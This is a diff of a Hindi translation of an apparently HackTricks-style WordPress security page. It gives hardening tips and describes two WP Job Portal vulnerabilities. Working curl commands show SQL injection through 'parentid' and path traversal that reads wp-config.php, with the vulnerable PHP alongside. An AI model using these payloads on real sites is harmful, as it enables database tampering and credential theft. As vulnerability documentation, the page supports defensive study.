सुनिश्चित करें कि WordPress, plugins, और themes अपडेटेड हैं। साथ ही पुष्टि करें कि automated updating wp-config.php में enabled है:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Also, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स स्थापित करें**।
|
||||
साथ ही, **केवल विश्वसनीय WordPress प्लगइन्स और थीम्स ही इंस्टॉल करें।**
|
||||
|
||||
### सुरक्षा प्लगइन्स
|
||||
|
||||
@ -529,17 +589,17 @@ Also, **केवल विश्वसनीय WordPress प्लगइन्
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||
|
||||
### **अन्य सिफारिशें**
|
||||
### **अन्य अनुशंसाएँ**
|
||||
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटाएं
|
||||
- डिफ़ॉल्ट **admin** उपयोगकर्ता हटाएँ
|
||||
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
|
||||
- समय-समय पर **उपयोगकर्ताओं** की **अनुमतियों** की **समीक्षा** करें
|
||||
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।
|
||||
- समय-समय पर उपयोगकर्ताओं की **अनुमतियों** की **समीक्षा** करें
|
||||
- **लॉगिन प्रयासों को सीमित करें** ताकि Brute Force हमलों से बचाव हो सके
|
||||
- **`wp-admin.php`** फाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ विशिष्ट IP addresses से ही पहुँच की अनुमति दें।
|
||||
|
||||
### अपर्याप्त सत्यापन के माध्यम से अनधिकृत SQL इंजेक्शन (WP Job Portal <= 2.3.2)
|
||||
### Unauthenticated SQL Injection (अपर्याप्त सत्यापन के कारण) (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal भर्ती प्लगइन ने एक **savecategory** कार्य को उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित कमजोर कोड को निष्पादित करता है:
|
||||
The WP Job Portal recruitment plugin ने एक **savecategory** task एक्सपोज़ किया था जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित कमजोर कोड को चलाता है:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -549,19 +609,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
इस स्निपेट द्वारा पेश की गई समस्याएँ:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
1. **असंसाधित उपयोगकर्ता इनपुट** – `parentid` सीधे HTTP अनुरोध से आता है।
|
||||
2. **WHERE क्लॉज के अंदर स्ट्रिंग संयोजन** – कोई `is_numeric()` / `esc_sql()` / तैयार बयान नहीं है।
|
||||
3. **अप्रमाणित पहुंच** – हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन केवल एक जांच मौजूद है, जो एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है।
|
||||
1. **Unsanitised user input** – `parentid` सीधे HTTP request से आता है.
|
||||
2. **String concatenation inside the WHERE clause** – कोई `is_numeric()` / `esc_sql()` / prepared statement नहीं।
|
||||
3. **Unauthenticated reachability** – हालाँकि action `admin-post.php` के माध्यम से execute होता है, उपलब्ध एकमात्र जांच **CSRF nonce** (`wp_verify_nonce()` ) है, जिसे कोई भी विज़िटर उस public पेज से प्राप्त कर सकता है जो शॉर्टकोड `[wpjobportal_my_resumes]` embed करता है।
|
||||
|
||||
#### शोषण
|
||||
#### Exploitation
|
||||
|
||||
1. एक ताजा nonce प्राप्त करें:
|
||||
1. Grab a fresh nonce:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid` का दुरुपयोग करके मनमाना SQL इंजेक्ट करें:
|
||||
2. Inject arbitrary SQL by abusing `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -569,19 +629,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
प्रतिक्रिया इंजेक्ट किए गए प्रश्न के परिणाम को प्रकट करती है या डेटाबेस को बदलती है, जो SQLi को साबित करती है।
|
||||
The response discloses the result of the injected query or alters the database, proving SQLi.
|
||||
|
||||
### अप्रमाणित मनमाना फ़ाइल डाउनलोड / पथ ट्रैवर्सल (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक और कार्य, **downloadcustomfile**, आगंतुकों को **डिस्क पर कोई भी फ़ाइल** डाउनलोड करने की अनुमति देता है पथ ट्रैवर्सल के माध्यम से। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक अन्य task, **downloadcustomfile**, विज़िटर्स को path traversal के ज़रिये डिस्क पर रखी **किसी भी फ़ाइल** को download करने की अनुमति देता था। कमजोर sink `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` हमलावर द्वारा नियंत्रित है और **साफ किए बिना** जोड़ा गया है। फिर से, एकमात्र गेट एक **CSRF nonce** है जिसे रिज़्यूमे पृष्ठ से प्राप्त किया जा सकता है।
|
||||
`$file_name` attacker-controlled है और concatenated **without sanitisation**। फिर, एकमात्र gate एक **CSRF nonce** है जिसे resume पृष्ठ से प्राप्त किया जा सकता है।
|
||||
|
||||
#### शोषण
|
||||
#### Exploitation
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -590,13 +651,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया करता है, DB क्रेडेंशियल्स और ऑथ कीज़ लीक करता है।
|
||||
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials और auth keys।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Litho Theme में अनधिकृत मनमाना फ़ाइल हटाने की भेद्यता](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal Plugin में कई महत्वपूर्ण भेद्यताएँ पैच की गईं](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [ASE Plugin में विशेषाधिकार वृद्धि का दुर्लभ मामला जो 100k+ साइटों को प्रभावित करता है](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 परिवर्तन सेट – प्रोफ़ाइल अपडेट पर मूल भूमिकाएँ हटाएँ](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
|
||||
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user